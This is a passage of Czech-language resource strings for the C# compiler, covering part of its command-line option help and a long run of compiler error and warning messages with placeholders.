kontroly přetečení +-unsafe[+|-] Povolit nezabezpečený kód +-define:<symbol list> Definuje symboly podmíněné kompilace (Krátký + tvar: -d) +-langversion:? Zobrazí povolené hodnoty pro verzi jazyka +-langversion:<string> Určuje verzi jazyka, například + nejnovější (nejnovější verze včetně podverzí), + default (stejné jako latest), + latestmajor (nejnovější verze, kromě podverze), + preview (nejnovější verze včetně funkcí v nepodporované verzi Preview), + nebo konkrétní verze jako 6 nebo 7.1. +-nullable[+|-] Zadejte možnost kontextu s možnou hodnotou null enable|disable. +-nullable:{enable|disable|warnings|annotations} + Zadejte možnost kontextu s možnou hodnotou null enable|disable|warnings|annotations. + + - ZABEZPEČENÍ – +-delaysign[+|-] Zpožděné podepsání sestavení pouze pomocí veřejné + část klíče silného názvu +-delaysign[+|-] Veřejné podepsání sestavení pouze pomocí veřejné + část klíče silného názvu +-keyfile:<file> Určuje soubor klíče se silným názvem +-keycontainer:<string> Určuje kontejner klíče se silným názvem +-highentropyva[+|-] Povolí technologii ASLR s vysokou entropií + + - RŮZNÉ - +@<file> Načte další možnosti ze souboru odpovědí +-help Zobrazí tuto zprávu o použití (krátký tvar: -?) +-nologo Potlačí zprávu o autorských právech kompilátoru +-noconfig Nezahrne automaticky soubor CSC.RSP +-parallel[+|-] Souběžné sestavení. +-version Zobrazí číslo verze kompilátoru a ukončí se. + + - ROZŠÍŘENÉ - +-baseaddress:<address> Základní adresa knihovny, která se má vytvořit +-checksumalgorithm:<alg> Určuje algoritmus pro výpočet kontrolního součtu + zdrojového souboru uloženého v souboru PDB. Podporované hodnoty: + SHA1 nebo SHA256 (výchozí). +-codepage:<n> Určuje znakovou stránku, která má být použita při otevírání zdrojových + souborů +-utf8output Výstupní zprávy kompilátoru v kódování UTF-8 +-main:<type> Zadejte typ, který obsahuje vstupní bod + (ignoruje všechny ostatní možné vstupní body) (Krátký + formulář: -m) +-fullpaths Kompilátor generuje plně kvalifikované cesty +-filealign:<n> Určuje zarovnání použité pro oddíly výstupního + souboru +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Určuje mapování pro výstup názvů zdrojových cest podle + kompilátoru. +-pdb:<file> Zadejte název souboru informací o ladění (výchozí: + název výstupního souboru s příponou .pdb) +-errorendlocation Výstupní řádek a sloupec koncového umístění + každé chyby +-preferreduilang Určuje preferovaný název výstupního jazyka. +-nosdkpath Zakáže vyhledávání výchozí cesty sady SDK pro standardní sestavení knihovny. +-nostdlib[+|-] Neodkazuje na standardní knihovnu (mscorlib.dll) +-subsystemversion:<string> Určuje verzi subsystému tohoto sestavení +-lib:<file list> Zadejte další adresáře, ve kterém chcete hledat + odkazy +-errorreport:<string> Určuje, jak zpracovávat interní chyby kompilátoru: + výzva, odeslání, fronta nebo žádná. Výchozí hodnota je + fronta. +-appconfig:<file> Zadejte konfigurační soubor aplikace + obsahující nastavení vazby sestavení +-moduleassemblyname:<string> Název sestavení, jehož součástí bude + částí +-modulename:<string> Zadejte název zdrojového modulu +-generatedfilesout:<dir> Umístí soubory vygenerované během kompilace + do zadaného adresáře. +-reportivts[+|-] Výstupní informace o všech IVT udělených tomuto + sestavení podle všech závislostí a opatřit poznámkami cizí sestavení + chyby přístupnosti s tím, z jakého sestavení pocházejí. + + Chyba syntaxe: Očekávala se hodnota. + {0} nejde zapečetit, protože to není přepis. + #error: {0} + Proměnná rozsahu {0} je už deklarovaná. + V atributu AssemblySignatureKeyAttribute je uvedený neplatný veřejný klíč podpisu. + Název elementu řazené kolekce členů {0} se ignoruje, protože cílovým typem {1} je určený jiný nebo žádný název. + Toto varování se vyskytne, když se pokusíte volat metodu, vlastnost nebo indexer u členu třídy, která se odvozuje z objektu MarshalByRefObject, a tento člen je typu hodnota. Objekty, které dědí z objektu MarshalByRefObject, jsou obvykle zamýšlené tak, že se budou zařazovat podle odkazů v aplikační doméně. Pokud se nějaký kód někdy pokusí o přímý přístup ke členu typu hodnota takového objektu někde v aplikační doméně, dojde k výjimce běhu modulu runtime. Pokud chcete vyřešit toto varování, zkopírujte nejdřív člen do místní proměnné a pak u ní vyvolejte uvedenou metodu. + Nelze zachycovat volání s {0}, protože není přístupné v rámci {1}. + Dva indexery mají stejný název. Atribut IndexerName musí být v rámci jednoho typu použitý se stejným názvem pro každý indexer. + Modifikátor druhu odkazu parametru neodpovídá odpovídajícímu parametru v cíli. + 'Operátor await vyžaduje, aby návratový typ {0} metody {1}.GetAwaiter() měl odpovídající členy IsCompleted, OnCompleted a GetResult a implementoval rozhraní INotifyCompletion nebo ICriticalNotifyCompletion. + {0} je nejednoznačný odkaz mezi {1} a {2}. + Konstruktor deklarovaný ve „struct“ se seznamem parametrů musí mít inicializátor „this“, který volá primární konstruktor nebo explicitně deklarovaný konstruktor. + Možnost přepíše atribut zadaný ve zdrojovém souboru nebo přidaném modulu. + Typy a aliasy nemůžou mít název required. + {0}: U přístupových objektů se modifikátor readonly může použít jenom v případě, že vlastnost nebo indexer má přístupový objekt get i set. + Prvky {0} a {1} jsou součástí cyklické závislosti základního typu. + Očekával se identifikátor nebo číselný literál. + Typ {0} nejde implicitně převést na typ {1}. + Přístup přes ukazatel k možnému odkazu s hodnotou null + Nejde zahrnout fragment XML. + Tato funkce vrací místní podle odkazu, ale nejedná se o místní odkaz + {0}: Událost instance v rozhraní nemůže mít inicializátor. + {0} není platný typ konvence volání pro UnmanagedCallersOnly. + Konstruktor {0} nemůže volat sám sebe. + V interpolovaném řetězci se nemůže používat jednořádkový komentář. + Místní je vráceno podle odkazu, ale bylo inicializováno na hodnotu, kterou není možné vrátit podle odkazu + Lokální proměnná nebo funkce s názvem {0} je už v tomto oboru definovaná. + Nelze zachytit: Kompilace neobsahuje soubor s cestou{0}. Chtěli jste použít cestu {1}? + Tato dvě sestavení se liší číslem vydání nebo verze. Aby mohlo proběhnout sjednocení, musíte zadat direktivy v souboru .config aplikace a musíte poskytnout správný silný název sestavení. + Vrácenou hodnotu {0} nejde změnit, protože se nejedná o proměnnou. + {0}: Základní typ {1} není kompatibilní se specifikací CLS. + Požadovanému členu {0} musí být přiřazena hodnota, nemůže používat vnořený člen nebo inicializátor kolekce. + Příkazy nejvyšší úrovně se musí nacházet před obory názvů a deklaracemi typů. + Částečné deklarace metod {0} a {1} mají rozdíly v signaturách. + Zdrojový soubor nemůže obsahovat deklarace normálních oborů názvů i oborů názvů pro celý soubor. + K položce nejde přiřadit {0}, protože je jen pro čtení. + pomocí aliasu typu + Parametr {0} se deklaruje jako typ {1}{2}, ale mělo by jít o {3}{4}. + Chyba při čtení souboru {0} zadaného pro pojmenovaný argument {1} pro atribut PermissionSet: {2} + Strom výrazů nesmí obsahovat výraz switch. + Klauzule omezení už byla přidaná pro parametr typu {0}. Všechna omezení pro parametr typu musí být zadaná v jediné klauzuli where. + Modifikátor „static“ musí předcházet modifikátoru „unsafe“. + s anonymními typy + Operátor await nejde použít pro void. + Lokální proměnnou {0} nejde vrátit pomocí odkazu, protože nejde o lokální proměnnou podle odkazu. + Volání konstruktoru je nutné volat dynamicky, což ale není možné, protože je součástí inicializátoru konstruktoru. Zvažte použití dynamických argumentů. + Nejde odvodit typ implicitně typované externí proměnné {0}. + Nejde vložit typy spolupráce pro sestavení {0}, protože postrádá atribut {1}. + Direktiva #line span vyžaduje mezeru před první závorkou, před posunem znaku a před názvem souboru. + inicializátor objektu + Proměnné s implicitním typem nemůžou mít víc deklarátorů. + Nejde vrátit {0} {1} zapisovatelným odkazem, protože to je proměnná jen pro čtení. + Obor názvů nemůže přímo obsahovat členy, jako jsou pole, metody nebo příkazy. + Modifikátor členu {0} musí předcházet jeho názvu a typu. + Výraz switch nezpracovává všechny možné hodnoty svého vstupního typu (není úplný). + Zachycuje se volání {0} s zachycovačem {1}, ale podpisy se neshodují. + Očekával se znak }. + Prázdný blok switch + Očekával se argument pojmenovaného atributu. + Vstupní řetězec nelze převést na ekvivalentní reprezentaci bajtů UTF-8. {0} + Parametr má víc odlišných výchozích hodnot. + Argument typu {0} není použitelný pro atribut DefaultParameterValue. + Uživatelem definovaný převod musí převádět na nadřazený typ nebo z nadřazeného typu. + Použilo se pravděpodobně nepřiřazené pole + Člen struktury {0} typu {1} způsobuje cyklus v rozložení struktury. + Typ omezení není kompatibilní se specifikací CLS. + vzor se závorkami + Nejde použít třídu atributů {0}, protože je abstraktní. + Vrací člen místního {0} podle odkazu, ale nejedná se o místní odkaz + Daný výraz vždy odpovídá zadané konstantě. + {0} musí deklarovat tělo, protože je označené jako abstraktní, externí nebo částečné. + Byl zjištěn nedosažitelný kód. + {0} nemůže implementovat člen rozhraní {1} v typu {2}, protože funkce {3} není v jazyce C# {4} k dispozici. Použijte prosím verzi jazyka {5} nebo vyšší. + '{0}' referenčního pole musí být před použitím přiřazen odkazem. + Může jít o přiřazení s odkazem null. + struktury záznamů + V této asynchronní metodě chybí operátory await a spustí se synchronně. Zvažte použití operátoru await pro čekání na neblokující volání rozhraní API nebo vykonání činnosti vázané na procesor ve vlákně na pozadí pomocí výrazu await Task.Run(...). + Kontextové klíčové slovo var se nedá použít jako explicitní návratový typ lambda. + metody setter jenom pro inicializaci + Proměnná rozsahu {0} nesmí mít stejný název jako parametr typu metody. + Pro typ {0} nejsou definované žádné konstruktory. + anonymní metoda + Očekával se skript (soubor .csx), žádný ale není zadaný. + Seznam parametrů může obsahovat pouze jedna deklarace částečného typu. + Vzory řezů se nedají používat pro hodnotu typu {0}. + Vrací parametr podle odkazu, ale nejedná se o parametr odkazu + typy s povolenou hodnotou null + {0} vyžaduje funkci kompilátoru {1}, což tato verze kompilátoru C# nepodporuje. + Primární konstruktor je v konfliktu se syntetizovaně zkopírovaným konstruktorem. + Přepínač /noconfig se ignoroval, protože byl uvedený v souboru odpovědí. + typy odkazů s možnou hodnotou null + Forma dekonstrukce var (...) neumožňuje použít pro var konkrétní typ. + Číslo řádku zadané v direktivě #line se nenašlo nebo je neplatné. + Chybně vytvořený soubor XML {0} nejde zahrnout. + Nejde načíst sestavení analyzátoru {0} : {1}. + Uživatelem definovaný operátor {0} musí být deklarovaný jako static a public. + Deklarace není platná. Místo toho použijte: {0} operátor <dest-type> (... + {0}: Statické typy nejde používat jako typy vracených hodnot. + 'Pro {0} by neměl být nastavený parametr params, protože {1} ho nemá. + Místní {0} je vráceno podle odkazu, ale bylo inicializováno na hodnotu, kterou není možné vrátit podle odkazu + Volajícímu se vrátí ovládací prvek před explicitním přiřazením pole, což způsobí předchozí implicitní přiřazení default. + Nedá se vytvořit dočasný soubor -- {0}. + Nejlepší přetížení pro {0} neobsahuje parametr s názvem {1}. + Parametr typu {0} má stejný název jako nadřazený typ nebo metoda. + Člen skrývá zděděný člen. Chybí klíčové slovo new. + Částečná metoda musí být deklarovaná uvnitř částečného typu. + Typ {1} v {0} je v konfliktu s importovaným oborem názvů {3} v {2}. Použije se typ definovaný v {0}. + Obor názvů {1} v {0} je v konfliktu s importovaným typem {3} v {2}. Použije se obor názvů definovaný v {0}. + Některé argumenty optimální přetěžované metody Add {0} pro inicializátor kolekce jsou neplatné. + Výraz typu {0} nesmí nikdy odpovídat poskytnutému vzoru. + Vzory seznamů nelze použít pro hodnotu typu {0}. Nenašla se žádná vhodná vlastnost Length nebo Count. + Při vytváření pole musí být k dispozici velikost pole nebo inicializátor pole. + rovnost řazené kolekce členů + Parametr typu {0} nemá žádnou odpovídající značku typeparam v komentáři XML na {1} (ale jiné parametry typu ano). + Nelze zachytit: Cesta {0} není namapovaná. Očekávaná mapovaná cesta {1}. + Parametr in nemůže obsahovat atribut Out. + Přiřazení je v podmíněných výrazech vždy konstantní. Nechtěli jste spíše použít operátor == místo operátoru = ? + Chyba při čtení souboru manifestu Win32 {0} -- {1} + Strom výrazů nesmí obsahovat převod obslužné rutiny interpolovaného řetězce. + Větve podmíněného operátoru odkazu odkazují na proměnné s nekompatibilními obory deklarací + Atribut {0} z modulu {1} se bude ignorovat ve prospěch instance, která se objeví ve zdroji. + {0} nejde přiřadit k proměnné rozsahu. + Parametr params musí být posledním parametrem v seznamu parametrů + Přiřazení k řazené kolekci členů typu {0} vyžaduje dílčí vzory {1}, ale k dispozici jsou dílčí vzory {2}. + Příkaz throw bez argumentů není povolený v klauzuli finally, která je vnořená do nejbližší uzavírající klauzule catch. + Automaticky implementovaný přístupový objekt set {0} nelze označit modifikátorem readonly. + Řazená kolekce členů musí obsahovat minimálně dva elementy. + Typ {0} nejde použít jako argument typu. + Příkaz foreach nejde použít pro proměnné typu {0}, protože {0} neobsahuje veřejnou definici instance nebo rozšíření pro {1}. Měli jste v úmyslu await foreach místo foreach? + Název souboru {0} je prázdný, obsahuje neplatné znaky, má specifikaci jednotky bez absolutní cesty nebo je moc dlouhý. + Tento odkaz přiřazuje {1} k {0}, ale {1} má širší obor řídicích hodnot než {0}, který povoluje přiřazení prostřednictvím {0} hodnot s užšími řídicími obory než {1}. + Typ odkazu s možnou hodnotou null v typu parametru neodpovídá přepsanému členu. + Cílový modul runtime nepodporuje pro člena rozhraní přístupnost na úrovni Protected, Protected internal nebo Private protected. + Typ spolupráce {0} nemůže být vložený, protože postrádá požadovaný atribut {1}. + Asynchronní výraz lambda převedený na návratový delegát {0}nemůže vrátit hodnotu. + nespravovaná obecná omezení typu + Poznámka pro typy odkazů s možnou hodnotou null by se měla používat jenom v kódu v rámci kontextu poznámek #nullable. Automaticky vygenerovaný kód vyžaduje explicitní direktivu #nullable ve zdroji. + Název jazyka {0} je neplatný. + V příkazu deklarace for, using, fixed nebo or nejde použít více než jeden typ. + K proměnné rozsahu {0} nejde přiřazovat – je jenom pro čtení. + {0} neobsahuje konstruktor, který přebírá tento počet argumentů: {1}. + Řetězce jazykové verze sestavení nesmí obsahovat vložené znaky NUL. + Neočekávaný seznam parametrů. + Inicializátor modulu musí být běžná členská metoda. + Pevné pole nesmí být pole ref. + konstantní interpolované řetězce + {0}: Nejde zadat třídu omezení a zároveň omezení unmanaged. + V tomto kontextu nejde použít proměnnou {0}, protože může vystavit odkazované proměnné mimo jejich rozsah deklarace. + Ve vzoru se nepovoluje použití typu s možnou hodnotou null {0}?. Místo toho použijte základní typ {0}. + Ke statickému virtuálnímu členu abstraktního rozhraní lze přistupovat pouze přes parametr obecného typu. + Obě deklarace částečné metody musí používat parametr params nebo ho nepoužívat. + {0} v explicitní deklaraci rozhraní se nenašel mezi členy rozhraní, které se dají implementovat. + Typ {1} v {0} je v konfliktu s importovaným typem {3} v {2}. Použije se typ definovaný v {0}. + Explicitní použití System.Runtime.CompilerServices.NullableAttribute není povolené. + Prvky pole nemůžou být typu {0}. + Modifikátory nejde umístit do deklarace přistupujícího objektu události. + {0} neimplementuje člen rozhraní {1}. {2} nemůže implicitně implementovat nepřístupný člen. + Základní třída {0} musí předcházet všem rozhraním. + Logický výraz není platný ve verzi jazyka {0}, protože mezi {1} a {2} se nenašel společný typ. Pokud chcete použít převod na cílový typ, upgradujte na jazykovou verzi {3} nebo vyšší. + Jsou zadané konfliktní možnosti: soubor prostředků Win32, manifest Win32. + Iterátory nemůžou mít parametry typu ukazatele. + CallerMemberNameAttribute nejde použít, protože neexistuje žádný standardní převod z typu {0} na {1}. + Člen parametru {0} nejde vrátit pomocí odkazu, protože nejde o parametr ref nebo out. + (Umístění symbolu vzhledem k předchozí chybě) + Zadal se argument stdin -, ale vstup se nepřesměroval na stream standardního vstupu. + V těle klauzule catch nejde použít hodnotu získanou příkazem yield. + Typ odkazu s možnou hodnotou null v návratovém typu neodpovídá implicitně implementovanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + Protože se jedná o asynchronní metodu, vrácený výraz musí být typu {0} a ne typu {1}. + Očekávala se levá složená závorka ({) nebo středník (;). + Klíčové slovo this není platné ve statické vlastnosti, ve statické metodě ani ve statickém inicializátoru pole. + Parametr má modifikátor params ve výrazu lambda, ale ne v cílovém typu delegáta. + Člen rozhraní {0} nemá nejvíce specifickou implementaci. {1} ani {2} nejsou nejvíce specifické. + volitelný parametr + Byla zadaná neplatná vyhledávací cesta. + Nejde vrátit this pomocí odkazu. + Nejde najít typ spolupráce, který odpovídá vloženému typu {0}. Nechybí odkaz na sestavení? + Toto varování se objeví, pokud jsou atributy sestavení AssemblyKeyFileAttribute nebo AssemblyKeyNameAttribute nacházející se ve zdroji v konfliktu s parametrem příkazového řádku /keyfile nebo /keycontainer nebo názvem souboru klíče nebo kontejnerem klíčů zadaným ve vlastnostech projektu. + Toto varování indikuje, že některý atribut, třeba InternalsVisibleToAttribute, nebyl zadaný správně. + ukazatel + Deklarace proměnné podle odkazu musí mít inicializátor. + 'Možnost MethodImplOptions.Synchronized nejde použít pro asynchronní metodu. + Parametr nejde vrátit pomocí odkazu {0}, protože nejde o parametr Ref. + {0} není platný modifikátor návratového typu ukazatele na funkci. Platné modifikátory jsou ref a ref readonly. + Argument {0} nelze předat s klíčovým slovem ref ve verzi jazyka {1}. Pokud chcete argumenty ref předat parametrům in, upgradujte na verzi jazyka {2} nebo vyšší. + Vytvoření neplatného objektu + Parametr musí mít při ukončení hodnotu jinou než null, protože parametr, na který se odkazuje NotNullIfNotNull není null + Elementy definované v názvovém prostoru nelze explicitně deklarovat jako private, protected, protected internal nebo private protected. + Jeden z parametrů binárního operátoru musí být nadřazeného typu nebo jeho parametrem obecného typu, který se na něj omezuje. + Parametr /moduleassemblyname jde zadat jenom při vytváření typu cíle module. + Typy odkazů s možnou hodnotou null v návratovém typu {0} neodpovídají cílovému delegátu {1} (pravděpodobně kvůli atributům možnosti použití hodnoty null). + Parametr typu {0} dědí konfliktní omezení {1} a {2}. + Identifikátor prostředku {0} se už v tomto sestavení používá. + Výchozí hodnota parametru pro {0} musí být konstanta definovaná při kompilaci. + Program neobsahuje statickou metodu Main vhodnou pro vstupní bod. + Parametr primárního konstruktoru {0} nejde vrátit pomocí odkazu. + Člen záznamu {0} nemůže být statický. + K této chybě dojde, když se předdefinovaný systémový typ, jako je System.Int32, nachází ve dvou sestaveních. Jedna z možností, jak se to může stát, je, že odkazujete na mscorlib nebo System.Runtime.dll, ze dvou různých míst, například při pokusu spustit dvě verze .NET Framework vedle sebe. + Člen pro {0} nejde vrátit pomocí odkazu, protože bylo inicializované na hodnotu, která nemůže být vrácená pomocí odkazu. + Požadovaný člen {0} nemůže být skrytý {1}. + Metody s proměnnými argumenty nejsou kompatibilní se specifikací CLS. + Pomocí Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal můžete vytvořit numerické literálové tokeny. + Obě deklarace částečné metody musí být statické, nebo nesmí být statická žádná z nich. + {0} není typu odkaz, jak vyžaduje příkaz lock + {0} neimplementuje vzor {1}. {2} není veřejná metoda instance nebo rozšíření. + Asynchronní příkaz foreach nejde použít pro proměnné typu {0}, protože implementuje vytváření víc instancí {1}. Zkuste přetypování na konkrétní instanci rozhraní. + Před použitím by mělo být přiřazeno referenční pole. + Statické pole jen pro čtení nejde vrátit zapisovatelným odkazem. + Asynchronní příkaz foreach nejde použít pro proměnné typu {0}, protože {0} neobsahuje veřejnou definici instance nebo rozšíření pro {1}. Měli jste v úmyslu foreach místo await foreach? + Uživatelsky definovaný operátor převodu implicit nelze deklarovat jako zaškrtnutý. + Rozhraní kompatibilní se specifikací CLS musí obsahovat jenom členy kompatibilní se specifikací CLS. + Aby přidávané moduly odpovídaly sestavení, musí být označené atributem CLSCompliant. + {0}: Parametr, místní proměnná nebo místní funkce nemůžou mít stejný název jako parametr typů metod. + Návratový typ není kompatibilní se specifikací CLS. + Chyba při otevírání souboru ikony {0} -- {1} + {0} nemůže implementovat člen rozhraní {1} v typu {2}, protože má parametr __arglist. + Načtené sestavení se odkazuje na architekturu .NET Framework, což se nepodporuje + Tato kombinace argumentů parametru {0} může vystavit proměnné, na které odkazuje parametr {1}, mimo obor jejich deklarace + Nejde odvodit typ dekonstrukční proměnné {0} s implicitním typem. + Člen se v tomto atributu nedá použít. + Omezení pro metody přepsání a explicitní implementace rozhraní se dědí ze základní metody, nejde je tedy zadat přímo, s výjimkou omezení class nebo struct. + Byl zadaný neplatný název souboru pro direktivu preprocesoru. + Parametr primárního konstruktoru struktury {0} typu{1} způsobuje cyklus v rozložení struktury. + {0} je definováno v sestavení {1}. + Znak {0} musí být v interpolovaném řetězci uvozený (zdvojeným znakem). + Převádí se skupina metod {0} na nedelegující typ {1}. Chtěli jste volat tuto metodu? + metoda rozšíření + Výraz není pojmenovaný. + Zachycovací objekt musí mít parametr this odpovídající parametru {0} na {1}. + Neočekávaná chyba při zápisu ladicích informací -- {0} + Kompilace (C#): + Typ není kompatibilní se specifikací CLS. + Nejde převést na statický typ {0}. + Typ nemá žádné přístupné konstruktory, které používají jenom typy kompatibilní se specifikací CLS. + Člen je vrácen podle odkazu, ale byl inicializován na hodnotu, kterou není možné vrátit podle odkazu + {0} nejde označit jako kompatibilní se specifikací CLS, protože se jedná o člen typu {1}, který není kompatibilní se specifikací CLS. + Výraz filtru je konstantní hodnota false. Zvažte odebrání klauzule catch. + anonymní typy + Konstanta {0} nemůže být označená jako statická. + Vlastnost nebo indexer {0} nejde v tomto kontextu použít, protože neobsahuje přistupující objekt get. + Vlastnosti automaticky implementované instance ve strukturách jen pro čtení musí být jen pro čtení. + Očekával se obecný návratový typ podobný úloze, ale typ {0} nalezený v atributu AsyncMethodBuilder nebyl vhodný. Musí se jednat o nevázaný obecný typ arity a jeho nadřazený typ (pokud existuje) nesmí být obecný. + Vlastnosti instance v rozhraních nemůžou mít inicializátory. + Zadaná verze jazyka {0} nemůže obsahovat úvodní nuly. + Inicializátor modulu nemůže mít atribut UnmanagedCallersOnly. + Chyba při otevírání souboru odpovědí {0} + Optimální přetěžovaná metoda Add pro element inicializátoru kolekce je zastaralá. + Typy odkazů s možnou hodnotou null v typu parametru neodpovídají cílovému delegátu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + zapečetěný ToString v záznamu + Nekonzistentní dostupnost: Typ vrácené hodnoty {1} je míň dostupný než operátor {0}. + Nepoužívaný alias extern + Odkaz na implicitně typovanou externí proměnnou {0} není povolený ve stejném seznamu argumentů. + Chybí částečný modifikátor deklarace typu {0}; existuje jiná částečná deklarace tohoto typu. + Výraz nejde převést na {0}, protože se nejedná o přiřaditelnou proměnnou. + {0}: Nejde přepsat, protože {1} neobsahuje přepsatelný přistupující objekt set. + Chybějící vzor + Externí alias {0} nebyl zadaný jako možnost /reference. + {0} není známé umístění atributu. Platná umístění atributu pro tuto deklaraci jsou {1}. Všechny atributy v tomto bloku se budou ignorovat. + __arglist nemůže mít argument typu void. + Parametr {0} se musí deklarovat s klíčovým slovem {1}. + Rozhraní {0} má neplatné zdrojové rozhraní, které se vyžaduje pro vložení události {1}. + Optimální nalezenou přetěžovanou metodu {0} pro element inicializátoru kolekce nejde použít. Metody Add inicializátoru kolekce nemůžou mít parametry Ref nebo Out. + Typ slouží jen pro účely vyhodnocení a v budoucích aktualizacích může dojít ke změnám nebo odebrání. + Operátor „&“ by se neměl používat u parametrů nebo místních proměnných v asynchronních metodách. + {0}: Nenašla se vhodná metoda k přepsání. + <seznam cest> + Členy z {0} nejde upravit, protože jde o {1}. + {0}: Jenom členy kompatibilní se specifikací CLS můžou být abstraktní. + Nepotřebná direktiva using + Při sestavování modulu nejde propojit soubory prostředků. + <globální obor názvů> + Cyklická závislost omezení zahrnující {0} a {1} + {0} definuje operátor == nebo !=, ale nepřepisuje funkci Object.GetHashCode(). + Podporované jazykové verze: + Název „_“ odkazuje na konstantu, ne na vzor discard. Zadáním „var _“ hodnotu zahodíte a zadáním „@_“ nastavíte pod tímto názvem odkaz na konstantu. + Jeden z parametrů binárního operátoru musí být nadřazeného typu. + {0} neimplementuje {1}. + K chráněnému členu {0} nejde přistupovat prostřednictvím kvalifikátoru typu {1}. Kvalifikátor musí být typu {2} (nebo musí být od tohoto typu odvozen). + Literály nezpracovaných řetězců nejsou v direktivách preprocesoru povolené. + Požadovaný člen {0}.{1} kompilátoru se nenašel. + Atributy sestavení a modulů nejsou v tomto kontextu povolené. + Očekával se jednořádkový komentář nebo konec řádku. + Člen neskrývá zděděný člen. Klíčové slovo new se nevyžaduje. + Typ tvůrce CollectionBuilderAttribute musí být neobecná třída nebo struktura. + Struktury bez explicitních konstruktorů nemůžou obsahovat členy s inicializátory. + {0}: Statické třídy nejde používat jako omezení. + Návratový typ asynchronní metody musí být void, Task, Task<T>, typ podobný úloze, IAsyncEnumerable<T> nebo IAsyncEnumerator<T>. + Komentář XML má atribut cref {0}, který se nedal vyřešit. + Název typu {0} se nepovedlo najít v oboru názvů {1}. Tento typ se předal do sestavení {2}. Zvažte přidání odkazu do tohoto sestavení. + Metoda {0} určuje omezení class pro parametr typu {1}, ale odpovídající parametr typu {2} přepsané nebo explicitně implementované metody {3} není odkazový typ. + Příkaz foreach nejde použít pro {0}. Měli jste v úmyslu vyvolat {0}? + Odkaz na pole s modifikátorem volatile se nezpracuje jako volatile. + Přístup ke členovi v poli třídy marshal-by-reference může způsobit běhovou výjimku. + Pole nemůže být typu void. + Možný název metody {0} nelze zachytit, protože není vyvolán. + Základní typ není kompatibilní se specifikací CLS. + Členy parametru primárního konstruktoru {0} typu jen pro čtení nejde změnit (s výjimkou nastavovacího kódu typu jenom pro inicializaci nebo inicializátoru proměnné). + Metody rozšíření musí být definované ve statické třídě nejvyšší úrovně; {0} je vnořená třída. + Jazyk nepodporuje konvenci volání {0}. + Modul {0} je už v tomto sestavení definovaný. Každý modul musí mít jedinečný název souboru. + Atributy nejsou v tomto kontextu platné. + vyrovnávací paměti pevné velikosti + Středník není platný za metodou nebo blokem přistupujícího objektu. + Členy {0} {1} nejde použít jako hodnotu ref nebo out, protože je to proměnná jen pro čtení. + Uživatelsky definovaný operátor {0} nejde deklarovat zaškrtnutý. + Vložení typu spolupráce {0} ze sestavení {1} způsobí konflikt názvů v aktuálním sestavení. Zvažte nastavení vlastnosti Vložit typy spolupráce na false. + Metody s proměnnými argumenty nejsou kompatibilní se specifikací CLS. + {0}: Modifikátory přístupnosti u přistupujících objektů se můžou používat, jenom pokud vlastnost nebo indexeru má přistupující objekt get i set. + Nejde definovat třídu nebo člen, který používá typ dynamic, protože se nedá najít typ {0} požadovaný kompilátorem. Nechybí odkaz? + Modifikátor abstract není pro pole platný. Místo něho zkuste použít vlastnost. + Kopírovací konstruktor {0} musí být veřejný nebo chráněný, protože záznam není zapečetěný. + přepínač založený na typu boolean + Výsledek výrazu je vždy hodnota null typu {0}. + Typ odkazu s možnou hodnotou null v typu parametru {0} neodpovídá deklaraci částečné metody. + Atribut CLSCompliant nemá žádný význam při použití u návratových typů. + {0} nejde převést na zamýšlený typ delegáta, protože některé z návratových typů v bloku nejsou implicitně převeditelné na návratový typ tohoto delegáta. + Komentář XML pro veřejně viditelný typ nebo člen {0} se nenašel. + Člen {0} implementuje člen rozhraní {1} v typu {2}. Za běhu existuje pro tohoto člena rozhraní víc shod. Volaná metoda závisí na konkrétní implementaci. + Kompilátor vydá toto varování, když přepíše chybu varováním. Informace o tomto problému vyhledejte podle uvedeného kódu chyby. + proměnná using + Omezení new() musí být poslední zadané omezení. + {0} je již uvedeno v seznamu rozhraní u typu {2} s jinými názvy prvků řazené kolekce členů jako {1}. + Argument typu {0} nejde použít jako výstup typu {1} pro parametr {2} v {3} z důvodu rozdílů v možnostech použití hodnoty null u odkazových typů. + pole ref + Do pole {0} se nikdy nic nepřiřadí. Bude mít vždy výchozí hodnotu {1}. + Odkaz na sestavení {0} typu Friend je neplatný. V deklaracích InternalsVisibleTo musí být u podepsaných sestavení se silným názvem uvedený veřejný klíč. + Typ není kompatibilní se specifikací CLS, protože základní rozhraní není kompatibilní se specifikací CLS. + Typ {1} už definuje člen s názvem {0} se stejnými typy parametrů. + <!-- Badly formed XML comment ignored for member "{0}" --> + Struktura vloženého pole nesmí mít explicitní rozložení. + Blok anonymní metody bez seznamu parametrů nejde převést na typ delegáta {0}, protože má nejmíň jeden parametr out. + Možnost použití hodnoty null u typu parametru {0} neodpovídá přepsanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null). + Atribut {0} je platný jenom pro metody nebo třídy atributů. + Délka vloženého pole musí být větší než 0. + Klíčové slovo void nejde v tomto kontextu použít. + Výraz switch nezpracovává některé vstupy null (není úplný). Například vzor {0} není vyřešený. Vzor s klauzulí when však může této hodnotě úspěšně odpovídat. + Funkce jazyka Inline arrays není podporována pro vložené typy polí s polem elementu, které je buď polem ref, nebo má typ, který není platný jako argument typu. + Obor názvů {1} už obsahuje definici pro {0}. + Položky: Nesmí být prázdné. + externí místní funkce + Očekával se identifikátor nebo číselný literál. + Komentář XML u {1} má značku paramref pro {0}, ale neexistuje parametr s tímto názvem. + Očekával se přetěžovatelný unární operátor. + Vrací podle odkazu člen parametru {0}, který není parametrem odkazu nebo out. + Nejde vyhledávat nevirtuálního člena v {0}, protože se jedná o parametr typu. + Dílčí vzor vlastnosti vyžaduje odkaz na vlastnost nebo pole k přiřazení, např. „{{ Name: {0} }}“. + Název modulu {0} uložený v {1} musí odpovídat svému názvu souboru. + Literál null nejde převést na odkazový typ, který nemůže mít hodnotu null. + Použití prvku {0} jako hodnoty Ref nebo Out nebo převzetí jeho adresy může způsobit výjimku při běhu, protože se jedná o pole třídy marshal-by-reference. + Zadaný řetězec verze „{0}“ neodpovídá doporučenému formátu – major.minor.build.revision. + Vrací podle odkazu člen parametru, který není parametrem odkazu nebo out + {0}: Prvky pole nemůžou být statického typu. + konstruktor + SyntaxTree není součástí kompilace, takže se nedá odebrat. + Nejde zjistit typ podmíněného výrazu, protože mezi typy {0} a {1} nedochází k implicitnímu převodu + K položce nejde přiřadit {0}, protože je typu {1}. + Událost {0} se může zobrazovat jenom na levé straně výrazu += nebo -= (s výjimkou případu, kdy se používá z typu 